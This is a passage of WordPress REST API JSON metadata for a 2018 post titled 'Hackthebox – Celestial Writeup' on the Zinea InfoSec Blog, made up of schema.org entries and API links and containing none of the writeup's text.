minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zineausa.com\/blog\/2018\/08\/hackthebox-celestial-writeup\/#article","isPartOf":{"@id":"https:\/\/zineausa.com\/blog\/2018\/08\/hackthebox-celestial-writeup\/"},"author":{"name":"Zinea","@id":"https:\/\/zineausa.com\/blog\/#\/schema\/person\/e3c58d4f0650f7fb571c01fcf836b1d0"},"headline":"Hackthebox \u2013 Celestial Writeup","datePublished":"2018-08-25T15:00:27+00:00","mainEntityOfPage":{"@id":"https:\/\/zineausa.com\/blog\/2018\/08\/hackthebox-celestial-writeup\/"},"wordCount":324,"commentCount":0,"publisher":{"@id":"https:\/\/zineausa.com\/blog\/#organization"},"image":{"@id":"https:\/\/zineausa.com\/blog\/2018\/08\/hackthebox-celestial-writeup\/#primaryimage"},"thumbnailUrl":"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/DXsCcaTXkAAJLYl.jpg","articleSection":["HackTheBox","Writeups"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zineausa.com\/blog\/2018\/08\/hackthebox-celestial-writeup\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zineausa.com\/blog\/2018\/08\/hackthebox-celestial-writeup\/","url":"https:\/\/zineausa.com\/blog\/2018\/08\/hackthebox-celestial-writeup\/","name":"Hackthebox \u2013 Celestial Writeup - Zinea InfoSec Blog","isPartOf":{"@id":"https:\/\/zineausa.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/zineausa.com\/blog\/2018\/08\/hackthebox-celestial-writeup\/#primaryimage"},"image":{"@id":"https:\/\/zineausa.com\/blog\/2018\/08\/hackthebox-celestial-writeup\/#primaryimage"},"thumbnailUrl":"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/DXsCcaTXkAAJLYl.jpg","datePublished":"2018-08-25T15:00:27+00:00","breadcrumb":{"@id":"https:\/\/zineausa.com\/blog\/2018\/08\/hackthebox-celestial-writeup\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zineausa.com\/blog\/2018\/08\/hackthebox-celestial-writeup\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zineausa.com\/blog\/2018\/08\/hackthebox-celestial-writeup\/#primaryimage","url":"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/DXsCcaTXkAAJLYl.jpg","contentUrl":"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/08\/DXsCcaTXkAAJLYl.jpg","width":657,"height":227},{"@type":"BreadcrumbList","@id":"https:\/\/zineausa.com\/blog\/2018\/08\/hackthebox-celestial-writeup\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zineausa.com\/blog\/"},{"@type":"ListItem","position":2,"name":"Hackthebox \u2013 Celestial Writeup"}]},{"@type":"WebSite","@id":"https:\/\/zineausa.com\/blog\/#website","url":"https:\/\/zineausa.com\/blog\/","name":"Zinea InfoSec Blog","description":"Cyber Security Resources","publisher":{"@id":"https:\/\/zineausa.com\/blog\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zineausa.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zineausa.com\/blog\/#organization","name":"Zinea LLC","url":"https:\/\/zineausa.com\/blog\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zineausa.com\/blog\/#\/schema\/logo\/image\/","url":"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/05\/zinea-square.png","contentUrl":"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/05\/zinea-square.png","width":876,"height":876,"caption":"Zinea LLC"},"image":{"@id":"https:\/\/zineausa.com\/blog\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/zineausa\/","https:\/\/x.com\/ZineaLLC"]},{"@type":"Person","@id":"https:\/\/zineausa.com\/blog\/#\/schema\/person\/e3c58d4f0650f7fb571c01fcf836b1d0","name":"Zinea","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/81f66095634a4c974693824dc72cd0db7c7c44910d60dda2d1bf1be275ee107d?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/81f66095634a4c974693824dc72cd0db7c7c44910d60dda2d1bf1be275ee107d?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/81f66095634a4c974693824dc72cd0db7c7c44910d60dda2d1bf1be275ee107d?s=96&d=mm&r=g","caption":"Zinea"}}]}},"_links":{"self":[{"href":"https:\/\/zineausa.com\/blog\/wp-json\/wp\/v2\/posts\/85","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zineausa.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zineausa.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zineausa.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zineausa.com\/blog\/wp-json\/wp\/v2\/comments?post=85"}],"version-history":[{"count":9,"href":"https:\/\/zineausa.com\/blog\/wp-json\/wp\/v2\/posts\/85\/revisions"}],"predecessor-version":[{"id":103,"href":"https:\/\/zineausa.com\/blog\/wp-json\/wp\/v2\/posts\/85\/revisions\/103"}],"wp:attachment":[{"href":"https:\/\/zineausa.com\/blog\/wp-json\/wp\/v2\/media?parent=85"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zineausa.com\/blog\/wp-json\/wp\/v2\/categories?post=85"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zineausa.com\/blog\/wp-json\/wp\/v2\/tags?post=85"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}